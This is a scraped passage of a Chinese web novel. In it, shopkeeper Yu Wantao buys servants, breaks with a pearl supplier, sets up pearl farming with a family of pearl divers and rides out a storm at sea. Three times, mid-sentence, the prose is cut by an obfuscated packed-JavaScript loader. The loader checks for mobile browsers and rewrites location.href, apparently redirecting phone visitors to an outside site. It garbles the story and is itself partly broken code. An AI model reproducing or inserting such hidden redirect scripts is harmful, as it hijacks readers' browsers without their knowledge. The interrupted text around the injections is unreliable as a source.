她沉声道:“所以当初陈文祖回家，极有可能就是为了问舅舅要那金老爷的赔偿，买县试考题不是什么光鲜事，他不好声张，自然也不敢问表嫂家里人拿这笔银子。” “没有证据，说了他也不会承认。”，崔玉棠道，“不过他若是真的参与了假考题一事，官府那边决计不会轻饶。” 三月底便是县试，在那之前，官府定会有所行动，杀鸡儆猴。 “就怕牵累到表嫂。”，余晚桃叹息。 此事当下也只能在床帷间论几句，真有甚么，端得看官府那边如何处理。 翌日晨起，用了朝食二人便往牙行去。 官牙行不比外头私底下的贩卖生意，在这买卖都得看手续，也分死契和活契。 签了死契的奴仆，若有不安分的，主家可拿着契书把人退回去，也可随意打杀了，总之落了奴籍的人，便是生死都由主家发落了。 进了里头，各种腌臜味都有。 余晚桃全程不敢往别处看，那些个被锁在笼子里头的官奴，只看一眼便教人心惊胆颤的，不由得联想到被发配西北的崔家人。 她偏头，朝崔玉棠看去，却见他神色从容，望向笼子里的官奴时，眼底平静淡然。 很快牙人按着条件挑了几个少年过来，全是十二三岁的，敦厚壮实，皮肤黝黑，一瞧便是经常干农活的。 余晚桃草草看了几眼，移开时却与前方笼子里的小少年撞上了视线，蓬头垢面，那双眼睛却足够出挑。 乌黑、漂亮、矜贵。 她怔了一下，蓦然产生一种错觉，这双眼睛跟崔玉棠有七分相似。 “就他吧。”，崔玉棠指着其中一人问，“叫什么？” 牙人回道:“穷人家的孩子哪里有甚正经名，他家里把人送来时只说叫狗娃，别的不求，给口饭吃，能活下去就行。” “阿桃，就他了可好？”，崔玉棠扭头询问。 余晚桃应了一声，说:“那个也要了，买两个回家还能作个伴，以后好轮流使唤着。” 崔玉棠往那处看了一眼，皱眉道:“那是官奴。” “在官奴里头挑也好啊，我观郎君是位书生，那小子识字，正好能给您当个书童呢，他也是个可怜见的，若有好心人买了去，也算是积福了，否则进了富人家去当luan/童，那真真是一辈子糟蹋了。”，牙人陪着笑脸，卖力游说。 崔玉棠向那处投去视线，眼底淡然，并未因牙人的话而有所动容。 余晚桃自顾道:“就他吧，一共两人，可与些折价？” “自然自然。” 一下子卖出去俩，牙人笑得眼睛眯成条缝，马不停蹄地去取了卖身契来，让人按上手印，再落官府印子。 带着新鲜出炉的俩小厮回家，余晚桃把偏堂里空出来的那间屋清出来，准备过两日去打个上下架的床铺，让他们住进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023886|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫狗娃的小汉子实诚，也勤快，到了主家便自发找活干，黑黑的脸蛋露着憨厚拘谨的笑容，一瞧便知道是个实心眼的。 余晚桃让他去屋里收拾东西。 剩下那个，从进了门就没说过一句话，眼睛盯着崔玉棠，自以为不动声色，却到底是年纪小，面上好奇的情绪藏不住。 崔玉棠冷漠地看着他:“李重器？” 人不大，名字却起得磅礴大气，得是甚命格，才压得住这名字。 “不论前身如何，落了奴籍，若想要活命就最好收敛着些不该有的气性，我娘子心善买了你回来，但若是敢生出旁的心思来，我定不会心慈手软。” “你这名太重，压着我们家了，以后就小器吧，余小器，还有狗娃，也随主家姓，余小——” 余晚桃:“娃？” “也可。” “……”，余晚桃拧了他胳膊一把，“耍甚么威风呢你，看给人改的破名，还岁试头名呢。” 崔玉棠面上闪过一丝不自在，家主的威严瞬间荡然无存，他强调道:“家里领了奴仆回来都是要立威的，否则教人扬了性子，愈发不守规矩。” “这个家谁是家主？” “那自然是阿桃。”，崔玉棠拱手作揖，表示臣服。 余晚桃叉着腰，“那还不快去灶房里做晚饭，仔细着晚了，夜里背不完今日份的书。” 崔玉棠的家主面子荡然无存，蔫着眉眼去灶房里洗手煮饭，炒菜烧水。 院里头只剩下余晚桃自己和李重器……额，余小器。 她微微俯身，认真道:“刚才二郎的话虽严肃了些，不过却当不得假，我们家是普通门户，不会有那些磋磨下人的规矩，只要以后好好做事，便不会为难于你。” “他……”，李重器抬起头，露出污垢厚积与伤痕累累的一张脸来，嗫嗫道:“我家人会来寻我的。” “寻你？”，余晚桃挑眉，“你不是官奴吗？” 李重器摇头，眨着眼睛往灶房方向偷瞄。 “你对他很好奇？” 李重器还是摇头，揪着破破烂烂的衣袖不言不语。 “你——” “余小器，过来干活。”，崔玉棠在灶房里扬声喊，已然开始使唤上小厮了。 李重器，现在是余小器，眼珠子转了转，就听话地去了。 只是十指不沾阳春水的公子哥，哪里会干活，在灶房里头杵了半响，既挡人又占地方还险些烧着自个，被崔玉棠嫌弃地赶了出去，换上自己喜欢的余小娃来。 待热水烧好，余晚桃给他们找了两身崔玉棠常穿的短打出去，让人洗了澡，换上干净衣服才出来吃饭。 余小娃洗干净了，便从磨砂黑变成了亮面黑，板板正正的，吃饭规矩得很，不多言不乱看，得主家看重能上桌吃饭也时刻谨慎着。 而余小器，则与他反着来了。 他腰挺得比谁都直溜，眼里矜矜傲傲的，露出那张尚显稚嫩的脸蛋来，和崔玉棠更像了，尤其是那双眼睛。 且都是一个色儿的，质如白玉。 “二郎，你没发现小器很像你吗？” 余小器闻言，努力挺直的腰背猛然顿住，他一抬头，就对上崔玉棠探过来的视线，又听得他一句平静的否认，登时泄了气 “不像，哪里像？根本一点都不像！” 崔玉棠矢口否认，坚决不承认这个比自己年轻的小汉子长得像自己，活似个贞洁烈夫。 57. 海鲜煲 —— 家里新添了俩小厮，多少能分担一些活计，余晚桃便专注于铺子里的生意，等冬枝稍微能上手一些，她就筹备着前往白沙镇了。 海商送货是一旬一趟，得赶在下一次送货前开发出新的进货渠道。 白沙镇在江南府往西去最偏的一个镇子，镇上有最大的商船停靠码头，沿着海线往北走，入内河便能直接抵达京都，这也是目前进京最近的一条路。 但平时却甚少有商队选择走这条海路，无关其他，只因北上的运河里海盗甚多，官府根本剿不完。 早上从容县出发，下午便能抵达白沙镇。 余晚桃带了体格健壮的小娃出来，一路上马车也驾得稳稳当当，赶路途中无惊无险，顺利落脚白沙镇客栈。 歇息一晚，次日便出去打听那海商的铺子所在。 路过两侧集市，余晚桃发现白沙镇当地的物价非常低廉，一些螃蟹、海虾，还有各种海鱼，肥美鲜活，作价却比容县要低许多。 “珍珠蚌咯，珍珠蚌咯，批发价二十文一斤，可现场开，各位老板们快来瞧一瞧——”，一疍民穿着灰色粗麻短打，赤脚站在堆积如山的蚌壳堆里吆喝。 余晚桃随着人群靠过去，在旁观察。 那疍民撬了一个蚌壳打开，将内里展示给围观的人瞧，“诸位老板都看看啊，一个蚌壳保底能有五颗珠子，不作假的，只要跟我这买，绝对亏不了。” “有没有粉珠子啊？”，边上有人问。 疍民大声道:“粉珠子那可就不是这个价了。” “我买得多。” “买得再多，这个价我也是没法子出的，一家子老小全靠这吃饭呢，老板您若诚心要，就出个合理的价。” 那人闻言拉着脸，转身就走。 疍民也不挽留他，转而对其他人道:“粉珠子怎么可能二十文一斤，干脆吆我送他得了。” “老板，你这些珍珠蚌平时往外地销吗？”，余晚桃蹲下来拿了一个珍珠蚌打量着，仰头询问。 “我倒是想，就是没有人牵线啊，我们白沙镇所有往外销的珍珠蚌，都教彩屏阁给收了。” 彩屏阁，就是给她家供货的海商铺子。 余晚桃心里有了成算，退出人群后继续问了几个摊子，大概了解到白沙镇这边珍珠蚌的市场行情。 彩屏阁是完全垄断了白沙镇这边珍珠蚌外销的市场，难怪这么有恃无恐地提价。 白沙镇内的珍珠蚌，也才二十文一斤，销往外地价格往上翻了一倍不止，虽说赚差价是生意人常有的事，可这会被赚差价的人是自己，这心里头实在难平。 余晚桃干脆直接去了彩屏阁。 那海商见是她来也不奇怪，毕竟他能去容县查市场价，人家照样也可以到白沙镇来打探消息。 他笑眯眯地请人去吃了顿白沙镇有名的海鲜煲，好言好语道:“余东家，您应该也打听清楚了，蚌珠这一渠道就我们彩屏阁是有外销且批量送货上门的，这山高路远的，价格方面自然也会高一些。” “若是高一些便也罢了，从前小批量的时候三十文我是能接受的，可是这个月却突然往上加了二十文就……”，余晚桃挑着满膏黄的海虾吃，话题点到为止。 海商话里把人高高抬起:“余东家铺子生意红火，想来也不会计较这二十文吧。” “话可不能这样说。”，余晚桃挑眉看他，“做生意，讲究的便是诚心二字，我们华纱绒花铺与你们彩屏阁是签过契书的，没有无端涨价的道理。” 她顿了下，眸色微暗，继续道:“若你们坚持要涨这二十文，那便是违约了，因着先前我也暂时同意了涨价一事，所以违约金便不算了。不过彩屏阁违约在先，我要求中断合作，也在情理之中吧？” “这……余东家可想好了？整个白沙镇可就只有我们彩屏阁是走外销渠道的，别的地可没送货上门的这个服务。” 余晚桃不以为意，道:“容县距离白沙镇不过一日而已，我每旬空出两天亲自到白沙镇采买，也才二十文一斤，相较于在你们这的价格，便宜了三十文，这三十文一年下来，不少了。” 她吃了口茶解腻，用桌上的布巾子擦了手，站起身道:“简而言之，我的成本是大大降低的。所以从下个月开始，就不用再往我们这送珠子了。” “买卖不成仁义在，我希望能与贵阁好聚好散，若真要闹出甚么龃龉来，我也是不惧的。” 看着那海商愈发难看的脸色，余晚桃不急不缓地补充了最后一句。 白吃了一顿海鲜煲，又解决了事情，余晚桃心情颇好，在白沙镇拥挤的街道上闲逛着，直至出了镇子口，一条大土路的尽头，两侧青砖房变成了海树，附近也零零散散坐落着一些木屋。 再往前走一段，便能看到一处狭长的海岸线。 沙滩上有不少人在拾蛤蜊海螺海带这些，估计是刚退潮，空气中还能闻到一股咸腥的味道，余晚桃也过去捡了一些漂亮的贝壳，拿在手里琢磨着能磨个甚样的配饰。 “姐姐，要不要买海虾呀？”，一道脆生生的声音从身后响起。 余晚桃转头看过去，见是个七八岁左右的小姑娘，黑肤圆眼，扎着两条短麻花辫，身前挂着一个大桶，桶里是活蹦乱跳的海虾，一只能有手臂大小了。 “这么大的海虾，怎么不拿去镇上卖？” 小女孩眼珠子乱转，慢吞吞道:“这是我哥偷偷出海捞的，去镇上就会被娘知道了。” “这样啊，那怎么卖的？”，余晚桃也没有再多问，这些海虾个头确实非常大，要是能做成虾干带回去，也是划算的。 “不贵的！就十二文一斤，比镇上卖的还便宜呢。” “行，我都要了。”，余晚桃道:“不过你们能帮我熏制成虾干吗？我可多付二十文。” 小女孩忙点头应:“可以的！我家里有熏制虾干的炉子，我带您过去，不过不能说是我卖的，好不好？” “好，那我就把这二十文给你娘，托她帮我熏制一下。”，余晚桃先把海虾的钱给了她，而后随着她一道往上侧的小路走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033072|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，期间问道:“你叫什么名字呀？” “我叫阿蟹，螃蟹的蟹！” “好别致的名。”，余晚桃轻笑了下，继续问:“你们是居住在附近的渔民？” 阿蟹点头:“嗯嗯，这附近有个小村庄，是渔民岸上的暂住地，不过他们多数都是居住在船上的。还有专门靠捕捞珍珠蚌为生的疍民，我们家原先也是疍民，后来就不下海了。” 据说疍民生来有天赋，能在海里憋气很长时间，余晚桃对这类人其实挺好奇的。 一路到了小村庄里。 余晚桃见到了阿蟹口中所谓的家。 木头基底，干椰叶铺顶，是极为简陋的几间小屋子，屋前一妇人头上扎着布包，蹲在沙堆边洗海带，身后一大片空地里飘挂着渔网鱼纱，随着海风轻轻摆动。 “娘！”，阿蟹提着桶跑过去，“有一位客人出二十文，想让我们帮忙把海虾处理成虾干。” 妇人闻言拿围裙擦干净手，忙不迭站起来，迎着笑问:“甚么时候要？” 余晚桃说了落脚的客栈，“我这几日都会在那边住着，届时送到掌柜的那去就成，我会知与他一声的。” “那行，小娘子要不先坐坐？看我这也挺乱的。”，妇人朝女儿喊:“快给客人倒一杯热水来。” “不用不用，婶子莫忙活了，我这朝过来，也是想向您打听一些事情的。” 妇人将那桶海虾提到一边放着，说道:“小娘子尽管问，只要是白沙镇这边的事，我基本上都知晓。” 阿蟹懂事地去帮忙搬凳子出来。 余晚桃接过凳子，寻了处阳光好的地方坐下来，温声道:“我在容县那边做了些小生意，需要大量购买珍珠蚌，月前同彩屏阁那边合作，不过最近他们涨了价，我就想了解一下这附近，有没有是做珍珠蚌生意的疍民。” “我俩哥哥就是啊！”，阿蟹听了激动地应声。 “去，大人说话哪有你小孩插嘴的份。”，妇人将女儿赶去洗海带，才略有些为难道:“海村子里疍民挺多的，不过是直接在镇子上卖，或者让彩屏阁收购了去，都没有往外地去的。” 余晚桃点头表示明白:“那彩屏阁给的收购价大概是多少？” “十五文到二十文左右。” 这么算算，彩屏阁倒了一手的差价大约在二十到三十文。 “彩屏阁那里的东家一点都不好，平时哥哥去他那做工，都还会克扣工钱呢，还不如自己做自己卖。”，阿蟹嘟哝着，为哥哥们抱不平。 妇人瞪她:“都说过了不允许出海，敢让我知道你瞒着哥哥们出海去的消息，看我不打断的腿。” 阿蟹忙捂住嘴巴，眼睛骨碌碌转着，口袋里卖海虾的铜板都还没与哥哥们分呢。 她心虚地看向旁边。 余晚桃弹了下她脑门，说:“婶子，珍珠蚌这种东西是可以近海养殖的呀。” “那玩意都在深海底里长着，恁就能近了海去养殖？那潮一涨上来就全没了。” “方法用对了就行。” 58. 第 58 章 珍珠蚌分海蚌和河蚌，河蚌在鱼塘里很常见，但内里产出珍珠需要养四五年，海蚌相对来说周期要短一些，且深海里老蚌多，可以随捞随取。 不过就像妇人说的那样，取海蚌需得入深海，饶是经验丰富的疍民，都经常葬身于海底，更别说是其他人。 所谓近海养殖，其实与内河养殖差不多，就是拾取头批两到四年生长期的海蚌，用铁丝网笼固定住抛掷到标点海域，再定时给海蚌人工植入异物，随着海蚌自身沉淀和珠化，渐渐形成珍珠。 这样每一年都能固定产出一批珍珠蚌，长此以往，便是将养殖彻底人工化。 绒花饰品需要大量的珍珠，她势必是要发展出自己的进货渠道，或者自己出资在这边建一个人工养殖基地。 否则全教彩屏阁垄断了去，那太被动了，后期更是不利于扩大经营规模，进货渠道受掣肘，能直接拿捏一家店铺的生死。 余晚桃对于人工养殖珍珠蚌有成型的计划，现在缺的就是合作对象。 晚些时候，阿蟹的哥哥三海和四海回到家，两人在海边捕了一天鱼还非常精神，手脚矫健有力，一人扛着一艘小木船上岸，余晚桃粗略看了眼，被那黑得发亮的肤色震了下。 兄妹几个，都是一脉相承的肤色…… 兰娘热情地留了余晚桃下来吃饭。 忙活一会，端出几道水煮海鲜上桌，主食是海带蒸糙米，她给人夹了一块清蒸的海鲈鱼过去，亲切问到:“余小娘子说亲了没有呀？” 余晚桃捧着碗言谢。 生活在海边真真甚都缺，就不缺海鲜，这海货也比别地的新鲜多了。 “余姐姐，我三哥和四哥都还没有说亲哦。”，阿蟹笑嘻嘻地说。 阿蟹三哥和四哥闻言黝黑的脸蛋羞红了，一巴掌打小妹后脑勺上，“吃你的吧，让你乱说话。” 余晚桃弯着眉眼，轻笑道:“你三哥四哥长得高大，人又勤奋，还怕没姑娘喜欢不成？” 兰娘一脸嫌弃地说:“他俩闷葫芦一个，嘴笨得很，又不会讨姑娘喜欢，这都二十了，还没说上亲呢，天天就惦记着出海。” “总会有的。”，余晚桃说着，转而嗔了一声，似无意地抱怨道，“嫁汉子还是得挑老实勤快的，我家那书生就整日只知道读书，平日里连个洗脸水都不会帮我端的，当时年纪小只会看脸挑汉子，这朝只能自己受着苦果了。” “我这次出门到白沙镇来办事，他就帮不上我甚么，还没家里小厮得力呢。” 余晚桃话里句句都是嫌弃，可眼角眉梢却都是笑意，不难看出她对自己的相公并非是话里那般嫌弃。 成亲后日子过得好不好，是能看出来的。 兰娘在心里惋惜，不过很快释怀了。 县里姑娘都金贵着，就算没成亲，也不会瞧上穷苦海镇的疍民后代，一辈子闻着海腥味。 “嫁个书生好，清贵人家，受人敬重，比我们这些贱籍好多了。” 阿蟹嗦着大海螺，安慰她娘:“等我长大了，也去嫁一个农耕书生，这样咱家也有地可以耕种，就不用每天去打鱼了，到时候娘天天吃大米饭，自己家种的！” “还没你哥腰把子高呢，就想着嫁人了。” “反正我以后一定让娘过好日子。”，阿蟹点着下巴，语气坚持。 余晚桃温声道:“阿蟹有目标很好，但不一定嫁人才能有耕地呀，若家里有一份产业，就可以到镇子上置宅，到时把户籍一迁过去，自然就能购买田地了。” “可是怎么才能有产业呀？” “我打算在这边建一个人工养殖珍珠蚌的基地，不知道你们愿不愿意？资金和养殖方法我出，场地和人手、日常管理你们来负责，到时候珍珠直接供应给我家里的铺子，所得利益从中按照比例分成。” “我们啥都不会，就有把子力气和海上讨饭吃的手艺。”，三海听得心动，但还是失落道，“余姑娘若是想在这边做生意，还是找那些专业养殖户会稳妥一些。” 余晚桃点头道::“这倒是，此事我还得仔细斟酌着，懂不懂养殖这些倒无所谓，我就是想找个信得过的人合作，诚实可靠些，不会钻营谋私利的。” 一天下来蹭了两顿饭，余晚桃深深感受到了白沙镇海鲜的诱惑力。 夜里就寝，许是海鲜吃多了，不好克化，胃里总撑着，翻来覆去煎熬着，直至子时的打更声梆梆传来，才慢慢睡去。 翌日她在客栈里吃橘皮粥，余小娃自客栈后院喂了马回来，就说，“今儿客栈一开门外头就来了一黑壮汉子说要找东家，我去买干草料时瞧见了，这会应该还在外头站着呢。” “怎么不进来坐着等？” 余小娃摇头，说:“在客栈里，就是喝杯粗茶也要两个铜板子呢，他不会进来的。” 余晚桃哑然，快速把碗里的粥喝完。 出了客栈，就见阿蟹和她三哥在树底下蹲着，阿蟹手里还捏着两个包子吃。 见她出来，阿蟹腾地站起来招手:“余姐姐，这里！” 余晚桃走过去，摸摸她发顶，弯腰下来看着她，眼睛带笑:“这么早就过来了，进去吃个早食好不好？这家客栈里金丝贝酥酪挺不错的。” “我们吃了早食才过来的。”，阿蟹扯过自己三哥的袖子，说:“昨夜三哥四哥和娘商量过了，说想跟着余姐姐做人工养殖，今儿等不及，便想过来问问，你还要人不？我哥哥干活很勤快的。” 小姑娘说话一套一套的，伶牙俐齿，衬得她边上人高马大的三哥嘴更笨了。 三海站直身体，保证道:“阿蟹说得对，余姑娘要是信不过我们，可以去白沙衙那立契书。” “立契书是两方合作必须要经过的流程，并非是信任与否的问题。”，余晚桃盘算着自己接下来白沙镇待的时间，沉思良久，才道:“我还需要些时间写一份养殖计划书出来，明天你们来客栈寻我，届时直接去白沙衙立契书。” “好！” 人工养殖珍珠蚌并非是一朝一夕的事情，今年开始，起码要一到两年才会看到效果，在这期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050025|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，还要从白沙镇这边其他渠道采购珍珠。 这一趟出来，余晚桃在白沙镇待了四五天，把养殖的近海域划出来之后又过了手续，将铁丝笼和网等需要用到的东西批量买回来。 第六天她包了条渔船，请了一支经验丰富的疍民出海去捞母蚌。 兰婶的男人和几个兄弟都是死在了海里，导致她很长一段时间都不想让三海和四海继续祖辈基业。 两兄弟也孝顺，只划着小渔船在浅海捕鱼，平时家里银钱不够时，才会悄悄跟着渔船出海，去赚些家用。 不过这次，兰婶却没有阻止两兄弟上渔船。 她目送渔船出发，站在海边犹如一樽木桩，久久未动。 … 余晚桃站在甲板上，看着渔船渐渐驶离岸边，心里有了一种荡然开阔的豪气，海面波光粼粼，腥咸的海风扑面而来，她握着船杆，眼里不见一丝胆怯。 “很少有女子坐渔船出海的，你很厉害，就连我娘都没跟过渔船出海，我爹还在的时候，从不允许她跟着上船。”，三海不知何时站到了她旁边，出声道。 余晚桃曲起手臂抵在下巴处，轻笑着说:“我想要做什么，不需要经过谁的允许。” 她经商，做生意，忙前忙后到处跑，都是自己愿意才会去做的。 三海眼里露出些迷茫来:“你家里不是你相公做主吗？” 余晚桃但笑不语，不知想到什么，眼眸明亮柔软。 三海看着对方轻勾起的嘴角，侧脸莹润恍若珍珠的色泽，颌线条连着一截若隐若现的颈脖，他很快意识到失态，慌忙收回视线，无声唾骂了自己一句，转身进了船舱。 渔船行驶了约一个时辰左右停了下来，疍民们戴好装备，分两拨下海，留一拨人在船上顶着绳子。 余晚桃望着幽深的海面，心里生出一种对大自然的敬畏，紧张地盯着逐渐往下探的浮在海面上的绳子。 过了十几分钟，陆续有疍民浮出海面来，挂在身上的袋子扯起来一倒，全是大小不一的珍珠蚌。 “能在海底闭气这么长时间，怎么做到的？”，余晚桃忍不住问。 边上有人嗐了一声，说:“我们祖祖辈辈都是疍民，从出生起就在练了，这点时辰都是早的，你瞧三海跟四海都还没上来呢。” 话音落下不久，余晚桃估摸着有半小时了，三海四海两兄弟才前后钻出水面，将鼓囊囊的袋子拽到了顶口边。 余晚桃由衷感叹:“厉害。” 如此来回了十多趟，换另一拨人下海继续捞。 余晚桃帮着把捞上来的珍珠蚌按照生长龄期分拾出来，放进不同的大木箱里，再灌上海水养着。 到下午，捞蚌工作渐渐接近尾声，渔船准备返航，可海上视线却陡然变暗，天边很快积攒起几团黑压压的云层，并伴着狂风自海面席卷而起。 所有人回到船舱里，总舵手紧盯着前面，皱眉大声喊道:“起风了，左右舵注意别偏离方向！” 余晚桃的心一下跟着紧了起来。 59. 第 59 章 风暴未停，雷雨又急至，海面卷起迷雾。 渔船在翻涌的巨浪中颠簸着。 余晚桃险些被甩出去，三海一把拉住她，顶着风雨把船舱门用力推上，并招呼几个兄弟过来将卡住被风吹得呼呼响的门。 “船偏航了，不能再走了！”，总舵面色凝重，冲左右舵手大声喊，紧接着大幅度调转方向盘，把船往外迷雾外开，一直到远离了风暴中心才停下来。 “三海四海，你俩出去看一下甲板上的情况，等风暴停了我们再回去。” 三海四海应了一声，在腰上拴好绳子，才爬上木梯，往甲板去。 总舵抹了一把脸，坐下来对余晚桃道:“出海经常会遇到这种天气，等一等就好。” 余晚桃紧紧握着手，透过小窗去看外面的情况，视线所及之处都是黑压压的，船身更是不稳，摇来晃去的。 她艰难坐好，很快冷静下来，看见船舱里的疍民们都一副习以为常的模样，心里不免感叹，能干这一行的，早就将生死置之度外了吧。 “这一趟大家辛苦了。” “辛苦甚？东家给的工钱大方，跑完这一趟我儿子娶媳妇的钱就有了。”，一个疍民咧着嘴笑，摸着后脑勺一脸憨厚。 余晚桃在心里叹了一声，面上平静，尽量让自己表现得云淡风轻，像个见过大世面的东家，慷慨道:“这一趟实在是辛苦，回去之后大家的工钱都加一百文，算是请各位吃顿好的。” “余东家大气！”，这话一出，连沉稳的总舵都忍不住高兴起来。 余晚桃掀起眼皮，提高音量:“接下来，要仰仗各位了。” “放心，保证把余东家安全送回去。” 总舵拍着胸脯保证。 他在海上飘了几十年，对各种危险心里都有准确的估算，这一次风暴虽然大了些，但有雾，浪头高却没叠翻，等风一停，雾散了就能顺利返航。 这朝说着话，三海和四海湿哒哒地回来了，只言甲板上的珍珠蚌都好好的，也没被冲垮倒。 渔船没问题，就意味着这次航程有惊无险。 守至下半夜，风暴停歇，雾也开始退散。 总舵掐了刚卷出来压困劲的烟草，站起来大声道:“返航了！都动起来。” 余晚桃费劲爬上甲板，周遭空气静幽幽的，海面漆黑得像隐藏着一头巨大的野兽，能把人拖进去淹没，吞噬。 她瑟缩了一下，搓搓汗毛都竖起来的胳膊。 三海给她倒了一壶热水过来，“喝点热茶吧，返航还得个把时辰呢，夜里海上温度很低。” 余晚桃道了谢，双手捧着热水壶，慢慢喝着。 三海就这吆干站着，半响才支吾道，“船舱里有干净的被褥，你要不要睡一会？” “不了，这也睡不着。”，余晚桃眺望着远方的海际线，说，“我倒是第一次在深夜里航行的渔船中认真地看海，这么站着，海面宽阔无垠，渔船在其中就像一粟，而人就更渺小了。” 三海不由自主地跟着看向海面，他出神片刻，似是想到了当初第一次跟着父亲出海时踊跃的心情。 大海夺走了他的父亲、哥哥，可是又赋予了他们疍民世世代代生存下去的丰富物资，每次下海捞蚌时，都觉得自己是一条鱼，天生就该在海里。 “我父亲和哥哥就在海底，他时刻保佑着我们，每次出海都能平安归来。”，三海笃定地说:“他们与大海融为一体了。” 余晚桃嘴角上扬，轻轻点了点头，说:“是的。” 经历过风暴的夜空悬挂起了扁圆的月亮，渔船在航行着时抬头看，仿佛距离月亮也不过一尺之遥，随着荡开的波浪，码头边燃烧的黄色火焰渐渐清晰。 等船近了，兰婶的呼喊声破风而来。 “船回来了！”，站在兰婶身边的阿蟹高兴地抬着手摇晃，蹦着起来大声喊:“三哥四哥！” 三海和四海站在甲板上，对她们招手:“娘，阿蟹——我们回来了！” 兰婶捂着嘴哭泣出声，海浪卷着她的哭声涌进了大海去，带走了她的悲伤和恐惧。 “娘~”阿蟹抱着她，安慰说:“三哥和四哥他们回来了，没有像爹和哥哥那样，被大海带走。” “嗯，他们回来了。” “你爹在海底保佑着他们呢。” 船靠岸，疍民们抬着木桶下船，三海四海跟着搬东西下去，猝不及防地被阿蟹奔跑过来的小身影撞到后背。 三海掐着她的咯吱窝，哈哈笑道:“这趟赚钱了，哥给你买新衣裳！” 四海:“那我给娘买！” 两兄弟兴高采烈，把从海底拾到的一些稀罕海货全部装进袋里让阿蟹拎着，回去煮了招待客人。 等彻底忙完已晨光熹微，余晚桃忍着疲惫，给疍民们算完工钱，又在白沙镇订了一个包间请他们吃了一顿饭，才各自散去。 余小娃推门进来，从怀里掏出一封信:“昨儿您刚一出海，大爷就来了信，问您甚么时候回去。” 余晚桃打开信看了会，眸色渐渐暗下。 信上提到县试报名需要核查户籍一事得她回去，末尾处还简单说了陈文祖因为买县试假试题被官府查到，这会抓了下牢狱，正等着案子查清，给他判罪呢。 自作孽的东西。 余晚桃把信折叠好收起，对余小娃道:“准备一下，我们明日就回去。” “好，对了，余东家，昨晚有一个自称是彩屏阁老板的人过来找您。” “不用管。” 彩屏阁估计是核算过利润，最后还是想做她这门生意，所以才会上门找来，至于收购价，恐怕也让不了几分利。 在海上飘了一天一夜，余晚桃这会眼皮都是肿的，处理完这些琐事，她睡了个天昏地暗，才觉得精神缓过来一些。 白沙镇这边的事情处理完，余晚桃马不停蹄赶回容县。 一到家，就被迎面而来的小炮仗抱住大腿，黏糊糊地撒娇，“桃子姐姐你怎么才回来，我可想你了！” 是柔妹这个小丫头。 柔妹跟在海边长大的阿蟹比要活泼些，阿蟹年纪小却懂事得早，极少撒娇，主动帮家里人分担活计，而这小姑娘张口就撒娇，白白软软的，脸蛋胖乎乎很可爱，显然是被家里人宠着。 两种截然不同的生长环境和家庭，真的能塑造出完全相反的性格来。 余晚桃弯腰将小姑娘抱起来，笑着哎哟了一声:“柔妹又重了，我都要抱不动咯。” “我这是长高了！”，小姑娘不乐意被人说又胖了，甩着两条短腿挣开下地，站稳后冲人噘嘴，表示愤怒。 “你这孩子，说两句还不乐意了。”，丁婶从后院里出来，拧着小姑娘衣领子将人掂上台阶，扬声笑道:“这是要搬货？巧了你叔在呢，让他帮你搬。” 说罢她冲院里喊了一声。 余天庆很快出来，随之而来的还有崔玉棠。 “回来啦？”，余天庆熟练地去卸马车，顺道将余小娃手上的大箱子搬过来，抬起下巴与他道:“你一个小孩，搬小箱的。” 余小娃哦了一声，转头去扛小木箱。 余晚桃出去一阵，又在海里晒过，整个人黑了些，她眯着眼睛，笑问书生:“怎么不认识了？” 崔玉棠摇摇头，把书递给柔妹，让她替自己拿进去，上前跟着去搬货，他力气大，一趟三大箱轻轻松松，连手上的青筋都没爆出来。 等货物全部搬完，余小娃牵着马去马厩里，其他人都回到院中。 余晚桃这才知道，他们是为的陈文祖一事。 买假考题一事牵连甚广，因为她和陈文祖的关系，崔玉棠也被传唤去了县衙里问话，虽也查清事实，又有陈教谕和崔夫子作保洗清了嫌疑，不过到底传了些流言出去，为免惹人非议，青山书院在县试前让他回了家，暂不进学。 再者陈文祖是大桑村的人，他出了事余村长也得挨县衙传话，可余村长这几日身子不爽利走动不得，就只能托余天庆帮着出面了。 这朝一家人来县里，崔玉棠在家中无事，便买了些菜招待起，顺便商量一下陈文祖这个事该怎么着。 余晚桃心里怄着，没好气道:“舅母都不管他了，随便让县老爷判了去便是，该怎么着就怎么着，怎么平白还带累起我们来了。” 这朝崔玉棠的县试若受了影响，那又要多等一年了，冤得很。 “名头上他是二郎外表哥，这是避不了闲的，按着规矩县衙也得查这一遭，跑不了。”，余天庆拧着眉头，话里对陈文祖愈发嫌弃，他冷哼了一声，“敢在县试上做文章，他这辈子的科举路算是断了，你表嫂那头正要同人和离，撇清关系呢。” 丁婶啐道:“早该和离了去。” - 